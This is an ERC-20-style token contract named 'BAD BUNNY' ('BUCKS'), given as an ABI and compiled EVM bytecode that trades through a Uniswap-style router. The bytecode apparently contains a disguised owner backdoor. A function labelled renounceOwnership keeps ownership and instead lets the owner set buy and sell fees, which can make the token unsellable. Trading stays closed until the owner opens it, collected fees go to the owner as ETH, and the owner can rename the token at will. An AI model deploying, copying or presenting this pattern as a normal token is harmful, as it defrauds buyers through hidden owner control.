[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "Permissions", "type": "error" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "TOKEN_MKT", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": false, "internalType": "string", "name": "newName", "type": "string" }, { "indexed": false, "internalType": "string", "name": "newSymbol", "type": "string" }, { "indexed": false, "internalType": "address", "name": "by", "type": "address" } ], "name": "DataMember", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "string", "name": "name_", "type": "string" }, { "internalType": "string", "name": "symbol_", "type": "string" } ], "name": "ChangeData", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "OpenTrading", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "_name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" }, { "internalType": "address", "name": "", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "pair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint8", "name": "_buy", "type": "uint8" }, { "internalType": "uint8", "name": "_sell", "type": "uint8" } ], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "storeData", "outputs": [ { "internalType": "address", "name": "tokenMkt", "type": "address" }, { "internalType": "uint8", "name": "buyFee", "type": "uint8" }, { "internalType": "uint8", "name": "sellFee", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60806040526040518060400160405280600981526020017f4241442042554e4e5900000000000000000000000000000000000000000000008152505f9081610047919061052c565b506040518060400160405280600581526020017f4255434b530000000000000000000000000000000000000000000000000000008152506001908161008c919061052c565b50348015610098575f80fd5b505f8060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018360ff1681526020018260ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050506012600a6101699190610763565b633b9aca0061017891906107ad565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f734752ba5dbc23f44d87826276bf6fd6b1c372ad2473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6102c79190610763565b633b9aca006102d691906107ad565b6040516102e391906107fd565b60405180910390a35050610816565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061036d57607f821691505b6020821081036103805761037f610329565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026103e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103a7565b6103ec86836103a7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61043061042b61042684610404565b61040d565b610404565b9050919050565b5f819050919050565b61044983610416565b61045d61045582610437565b8484546103b3565b825550505050565b5f90565b610471610465565b61047c818484610440565b505050565b5b8181101561049f576104945f82610469565b600181019050610482565b5050565b601f8211156104e4576104b581610386565b6104be84610398565b810160208510156104cd578190505b6104e16104d985610398565b830182610481565b50505b505050565b5f82821c905092915050565b5f6105045f19846008026104e9565b1980831691505092915050565b5f61051c83836104f5565b9150826002028217905092915050565b610535826102f2565b67ffffffffffffffff81111561054e5761054d6102fc565b5b6105588254610356565b6105638282856104a3565b5f60209050601f831160018114610594575f8415610582578287015190505b61058c8582610511565b8655506105f3565b601f1984166105a286610386565b5f5b828110156105c9578489015182556001820191506020850194506020810190506105a4565b868310156105e657848901516105e2601f8916826104f5565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561067d57808604811115610659576106586105fb565b5b60018516156106685780820291505b808102905061067685610628565b945061063d565b94509492505050565b5f826106955760019050610750565b816106a2575f9050610750565b81600181146106b857600281146106c2576106f1565b6001915050610750565b60ff8411156106d4576106d36105fb565b5b8360020a9150848211156106eb576106ea6105fb565b5b50610750565b5060208310610133831016604e8410600b84101617156107265782820a905083811115610721576107206105fb565b5b610750565b6107338484846001610634565b9250905081840481111561074a576107496105fb565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61076d82610404565b915061077883610757565b92506107a57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610686565b905092915050565b5f6107b782610404565b91506107c283610404565b92508282026107d081610404565b915082820484148315176107e7576107e66105fb565b5b5092915050565b6107f781610404565b82525050565b5f6020820190506108105f8301846107ee565b92915050565b611fed806108235f395ff3fe6080604052600436106100f6575f3560e01c80637a7986bb11610089578063a9059cbb11610058578063a9059cbb14610319578063b09f126614610355578063d28d88521461037f578063dd62ed3e146103a9576100fd565b80637a7986bb146102755780638d815b6f1461029d57806395d89b41146102c5578063a8aa1b31146102ef576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f757806351cd7cc31461022357806370a0823114610239576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e5565b604051610122919061137b565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190611439565b610474565b60405161015e9190611491565b60405180910390f35b348015610172575f80fd5b5061017b610561565b60405161018891906114b9565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b291906114d2565b610581565b6040516101c49190611491565b60405180910390f35b3480156101d8575f80fd5b506101e1610624565b6040516101ee919061153d565b60405180910390f35b348015610202575f80fd5b5061020b610629565b60405161021a93929190611565565b60405180910390f35b34801561022e575f80fd5b50610237610677565b005b348015610244575f80fd5b5061025f600480360381019061025a919061159a565b6108b3565b60405161026c91906114b9565b60405180910390f35b348015610280575f80fd5b5061029b600480360381019061029691906116f1565b6108c8565b005b3480156102a8575f80fd5b506102c360048036038101906102be9190611791565b610980565b005b3480156102d0575f80fd5b506102d96109fa565b6040516102e6919061137b565b60405180910390f35b3480156102fa575f80fd5b50610303610a8a565b60405161031091906117cf565b60405180910390f35b348015610324575f80fd5b5061033f600480360381019061033a9190611439565b610aaf565b60405161034c9190611491565b60405180910390f35b348015610360575f80fd5b50610369610ac3565b604051610376919061137b565b60405180910390f35b34801561038a575f80fd5b50610393610b4f565b6040516103a0919061137b565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca91906117e8565b610bda565b6040516103dc91906114b9565b60405180910390f35b60605f80546103f390611853565b80601f016020809104026020016040519081016040528092919081815260200182805461041f90611853565b801561046a5780601f106104415761010080835404028352916020019161046a565b820191905f5260205f20905b81548152906001019060200180831161044d57829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054f91906114b9565b60405180910390a36001905092915050565b6012600a61056f91906119df565b633b9aca0061057e9190611a29565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106099190611a6a565b9250508190555061061b848484610bfa565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b61067f6112a3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106b5575f80fd5b600560159054906101000a900460ff16156106ce575f80fd5b5f734752ba5dbc23f44d87826276bf6fd6b1c372ad2473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190611ab1565b90505f734752ba5dbc23f44d87826276bf6fd6b1c372ad2473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d49190611ab1565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b8152600401610812929190611adc565b602060405180830381865afa15801561082d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108519190611ab1565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b6003602052805f5260405f205f915090505481565b60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610922575f80fd5b815f90816109309190611ca0565b5080600190816109409190611ca0565b507f29b7e87a7524edd9072e87b7f12f040189aa097db0ef8a282b5de1567d93fde082823360405161097493929190611d6f565b60405180910390a15050565b6109886112a3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6109f682826112cd565b5050565b606060018054610a0990611853565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3590611853565b8015610a805780601f10610a5757610100808354040283529160200191610a80565b820191905f5260205f20905b815481529060010190602001808311610a6357829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610abb338484610bfa565b905092915050565b60018054610ad090611853565b80601f0160208091040260200160405190810160405280929190818152602001828054610afc90611853565b8015610b475780601f10610b1e57610100808354040283529160200191610b47565b820191905f5260205f20905b815481529060010190602001808311610b2a57829003601f168201915b505050505081565b5f8054610b5b90611853565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8790611853565b8015610bd25780601f10610ba957610100808354040283529160200191610bd2565b820191905f5260205f20905b815481529060010190602001808311610bb557829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610c046112a3565b9050600560159054906101000a900460ff1680610c4c57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610c8257508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610c8a575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cd69190611a6a565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d465750600560149054906101000a900460ff16155b8015610db7575060646012600a610d5d91906119df565b633b9aca00610d6c9190611a29565b610d769190611ddf565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610def57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611083576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610e2b57610e2a6115cd565b5b604051908082528060200260200182016040528015610e595781602001602082028036833780820191505090505b50905030815f81518110610e7057610e6f611e0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050734752ba5dbc23f44d87826276bf6fd6b1c372ad2473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2b9190611ab1565b81600181518110610f3f57610f3e611e0f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050734752ba5dbc23f44d87826276bf6fd6b1c372ad2473ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610fb991906119df565b633b9aca00610fc89190611a29565b610fd29190611ddf565b5f8430426040518663ffffffff1660e01b8152600401610ff6959493929190611f2c565b5f604051808303815f87803b15801561100d575f80fd5b505af115801561101f573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611066573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110fc575060011515600560159054906101000a900460ff161515145b156111dd575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461115e5783611160565b825b60ff168761116e9190611a29565b6111789190611ddf565b905080866111869190611a6a565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546111d49190611f84565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112299190611f84565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161128d91906114b9565b60405180910390a3600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61134d8261130b565b6113578185611315565b9350611367818560208601611325565b61137081611333565b840191505092915050565b5f6020820190508181035f8301526113938184611343565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d5826113ac565b9050919050565b6113e5816113cb565b81146113ef575f80fd5b50565b5f81359050611400816113dc565b92915050565b5f819050919050565b61141881611406565b8114611422575f80fd5b50565b5f813590506114338161140f565b92915050565b5f806040838503121561144f5761144e6113a4565b5b5f61145c858286016113f2565b925050602061146d85828601611425565b9150509250929050565b5f8115159050919050565b61148b81611477565b82525050565b5f6020820190506114a45f830184611482565b92915050565b6114b381611406565b82525050565b5f6020820190506114cc5f8301846114aa565b92915050565b5f805f606084860312156114e9576114e86113a4565b5b5f6114f6868287016113f2565b9350506020611507868287016113f2565b925050604061151886828701611425565b9150509250925092565b5f60ff82169050919050565b61153781611522565b82525050565b5f6020820190506115505f83018461152e565b92915050565b61155f816113cb565b82525050565b5f6060820190506115785f830186611556565b611585602083018561152e565b611592604083018461152e565b949350505050565b5f602082840312156115af576115ae6113a4565b5b5f6115bc848285016113f2565b91505092915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61160382611333565b810181811067ffffffffffffffff82111715611622576116216115cd565b5b80604052505050565b5f61163461139b565b905061164082826115fa565b919050565b5f67ffffffffffffffff82111561165f5761165e6115cd565b5b61166882611333565b9050602081019050919050565b828183375f83830152505050565b5f61169561169084611645565b61162b565b9050828152602081018484840111156116b1576116b06115c9565b5b6116bc848285611675565b509392505050565b5f82601f8301126116d8576116d76115c5565b5b81356116e8848260208601611683565b91505092915050565b5f8060408385031215611707576117066113a4565b5b5f83013567ffffffffffffffff811115611724576117236113a8565b5b611730858286016116c4565b925050602083013567ffffffffffffffff811115611751576117506113a8565b5b61175d858286016116c4565b9150509250929050565b61177081611522565b811461177a575f80fd5b50565b5f8135905061178b81611767565b92915050565b5f80604083850312156117a7576117a66113a4565b5b5f6117b48582860161177d565b92505060206117c58582860161177d565b9150509250929050565b5f6020820190506117e25f830184611556565b92915050565b5f80604083850312156117fe576117fd6113a4565b5b5f61180b858286016113f2565b925050602061181c858286016113f2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061186a57607f821691505b60208210810361187d5761187c611826565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611905578086048111156118e1576118e0611883565b5b60018516156118f05780820291505b80810290506118fe856118b0565b94506118c5565b94509492505050565b5f8261191d57600190506119d8565b8161192a575f90506119d8565b8160018114611940576002811461194a57611979565b60019150506119d8565b60ff84111561195c5761195b611883565b5b8360020a91508482111561197357611972611883565b5b506119d8565b5060208310610133831016604e8410600b84101617156119ae5782820a9050838111156119a9576119a8611883565b5b6119d8565b6119bb84848460016118bc565b925090508184048111156119d2576119d1611883565b5b81810290505b9392505050565b5f6119e982611406565b91506119f483611522565b9250611a217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461190e565b905092915050565b5f611a3382611406565b9150611a3e83611406565b9250828202611a4c81611406565b91508282048414831517611a6357611a62611883565b5b5092915050565b5f611a7482611406565b9150611a7f83611406565b9250828203905081811115611a9757611a96611883565b5b92915050565b5f81519050611aab816113dc565b92915050565b5f60208284031215611ac657611ac56113a4565b5b5f611ad384828501611a9d565b91505092915050565b5f604082019050611aef5f830185611556565b611afc6020830184611556565b9392505050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302611b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82611b24565b611b698683611b24565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611ba4611b9f611b9a84611406565b611b81565b611406565b9050919050565b5f819050919050565b611bbd83611b8a565b611bd1611bc982611bab565b848454611b30565b825550505050565b5f90565b611be5611bd9565b611bf0818484611bb4565b505050565b5b81811015611c1357611c085f82611bdd565b600181019050611bf6565b5050565b601f821115611c5857611c2981611b03565b611c3284611b15565b81016020851015611c41578190505b611c55611c4d85611b15565b830182611bf5565b50505b505050565b5f82821c905092915050565b5f611c785f1984600802611c5d565b1980831691505092915050565b5f611c908383611c69565b9150826002028217905092915050565b611ca98261130b565b67ffffffffffffffff811115611cc257611cc16115cd565b5b611ccc8254611853565b611cd7828285611c17565b5f60209050601f831160018114611d08575f8415611cf6578287015190505b611d008582611c85565b865550611d67565b601f198416611d1686611b03565b5f5b82811015611d3d57848901518255600182019150602085019450602081019050611d18565b86831015611d5a5784890151611d56601f891682611c69565b8355505b6001600288020188555050505b505050505050565b5f6060820190508181035f830152611d878186611343565b90508181036020830152611d9b8185611343565b9050611daa6040830184611556565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611de982611406565b9150611df483611406565b925082611e0457611e03611db2565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f611e5f611e5a611e5584611e3c565b611b81565b611406565b9050919050565b611e6f81611e45565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ea7816113cb565b82525050565b5f611eb88383611e9e565b60208301905092915050565b5f602082019050919050565b5f611eda82611e75565b611ee48185611e7f565b9350611eef83611e8f565b805f5b83811015611f1f578151611f068882611ead565b9750611f1183611ec4565b925050600181019050611ef2565b5085935050505092915050565b5f60a082019050611f3f5f8301886114aa565b611f4c6020830187611e66565b8181036040830152611f5e8186611ed0565b9050611f6d6060830185611556565b611f7a60808301846114aa565b9695505050505050565b5f611f8e82611406565b9150611f9983611406565b9250828201905080821115611fb157611fb0611883565b5b9291505056fea2646970667358221220a2de767496bfd17caeb02cab2ab4f179af54fa9a1cc023f9030fa3143d331abd64736f6c634300081a0033